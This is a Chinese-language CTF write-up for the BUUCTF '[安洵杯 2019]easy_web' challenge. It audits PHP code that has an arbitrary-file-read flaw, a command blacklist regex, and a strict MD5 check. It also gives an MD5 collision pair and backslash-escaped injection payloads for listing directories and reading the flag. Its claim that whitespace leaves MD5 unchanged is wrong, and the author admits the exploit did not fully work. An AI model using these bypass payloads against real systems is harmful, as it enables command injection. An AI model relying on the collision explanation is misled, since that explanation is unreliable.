BUUCTF_[安洵杯 2019]easy_web(preg_match绕过/MD5强碰撞绕过/代码审计)
打开靶场,出现下面的静态html页面,也没有找到什么有价值的信息。
查看页面源代码
在url里发现了img传参还有cmd
求img参数
这里先从img传参入手,这里我发现img传参好像是base64的样子
进行解码,解码之后还像是base64的样子再次进行解码
这个数好像是16进制的,进行16进制转换成字符串
这里利用这个原理,先将index.php16进制编码,然后进行两次base64编码
输入img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,但是页面没反应,尝试Burp抓包,发送到重放器,在Burp上修改img的参数,发现类似base64的字符,尝试base64解码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
php代码审计
1. 错误报告和字符编码设置
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
error_reporting(E_ALL || ~ E_NOTICE);
:设置错误报告级别,表示报告除了E_NOTICE
级别的所有错误。header('content-type:text/html;charset=utf-8');
:设置 HTTP 响应头,指定返回内容的类型为 HTML,字符编码为 UTF - 8。
2. 获取用户输入并进行重定向
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$cmd = $_GET['cmd'];
:从 GET 请求中获取cmd
参数的值。if
语句检查是否传递了img
和cmd
参数,如果没有传递,则使用header
函数进行页面重定向,跳转到index.php
并附带默认的img
和空的cmd
参数。
3. 处理图片文件路径
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
:对img
参数进行两次 Base64 解码,再进行十六进制解码,得到文件路径。$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
:使用正则表达式过滤文件路径,只保留字母、数字和点号,防止目录遍历等攻击。if (preg_match("/flag/i", $file))
:检查文件路径中是否包含flag
字样,如果包含则显示一张图片并终止程序。- 若不包含
flag
,使用file_get_contents
读取文件内容,进行 Base64 编码后以data
URI 的形式显示图片。
preg_replace
正则表达式函数,用于在字符串中执行搜索和替换操作。
语法: preg_replace(pattern, replacement, subject[, limit = -1[, count]])
- pattern :要搜索的正则表达式模式。
- replacement :用于替换匹配内容的字符串或回调函数。
- subject :要进行搜索和替换的目标字符串或字符串数组。
- limit :可选参数,指定最多替换的次数,默认 -1 表示无限制。
- count :可选参数,用于存储实际替换的次数。preg_match
用于执行正则表达式匹配的函数。
语法:preg_match(pattern, subject[, matches[, flags = 0[, offset = 0]]])
- pattern :要匹配的正则表达式模式。
- subject :要进行匹配操作的目标字符串。
- matches :可选参数,用于存储匹配结果的数组。如果匹配成功, matches[0] 将包含完整的匹配文本, matches[1] 等将包含正则表达式中捕获组匹配的内容。
- flags :可选参数,用于指定匹配的标志,常用的有 PREG_OFFSET_CAPTURE ,会使 matches 数组中的每个元素成为一个包含匹配文本和其在 subject 中偏移量的数组。
- offset :可选参数,指定从 subject 字符串的哪个位置开始匹配,默认为0。
4. 处理命令执行(preg_match绕过,MD5强绕过)
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
- 输出
cmd
参数的值。 - echo "<br>"中<br>表示换行。
- 使用正则表达式检查
cmd
参数是否包含危险字符或命令,如果包含则输出forbid ~
。 - 若不包含危险字符,检查 POST 请求中的
a
和b
参数,要求它们的字符串形式不相等,但 MD5 哈希值相等。如果满足条件,则执行cmd
参数中的命令并输出结果;否则输出md5 is funny ~
。
5. HTML 部分
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
设置页面的背景图片,使其居中显示、覆盖整个页面,并且固定背景。
思路
求cmd参数
cmd未知,如果要输出cmd,,,
1.POST 请求中的 a
和 b
参数,要求它们的字符串形式不相等,但 MD5 哈希值相等。
- MD5 碰撞漏洞:代码依赖 MD5 哈希值的比较来决定是否执行命令,而 MD5 算法存在碰撞漏洞,攻击者可以找到两个不同的字符串,它们的 MD5 哈希值相同。
- if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
2.绕过preg_match过滤函数包含的
- 命令过滤不彻底:虽然代码对
cmd
参数进行了过滤,但可能存在绕过的方法,例如使用其他未被过滤的命令或特殊字符组合。 - if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
MD5 是一种广泛使用的哈希函数,但它存在强碰撞和弱碰撞的问题
哈希碰撞
哈希函数是一种将任意长度的输入数据转换为固定长度输出(哈希值)的算法。理想情况下,不同的输入应该产生不同的哈希值,但由于哈希值的长度是固定的,而输入数据的可能性是无限的,所以必然会存在不同的输入产生相同哈希值的情况。
MD5 弱碰撞
找到一个与给定消息不同但哈希值相同的另一个消息。
MD5 强碰撞
强碰撞是指找到任意两个不同的消息m1和m2,使得它们的哈希值相同。与弱碰撞不同,强碰撞不需要预先给定一个消息。
方法
过滤函数是preg_match,使用/来进行绕过。
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
使用了 (string)
强制类型转换,数组都被强制转换为了string(5) “Array”,数组绕过方法失效,所以要采用 MD5 强碰撞的方式来绕过此限制。
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
原理:原本payload字符串中含有多种空白符号,MD5加密后hash值相等(空白符号不影响md5值)。但是我们上传参数时会自动进行一次url解码,这样过后因为空白字符两个url就不相等了,从而成功绕过
改为POST请求,
(不清楚是哪里出问题了,,,按大佬的wp的步骤做,换了好几种方法,但响应不正确)
cmd传参处传入dir
cmd=l\s%20/
cmd=cat flag=>ca\t%20/f\l\a\g
(参数a,b的值的求法暂时没弄清楚)
参考链接:buuctf-[安洵杯 2019]easy_web(小宇特详解)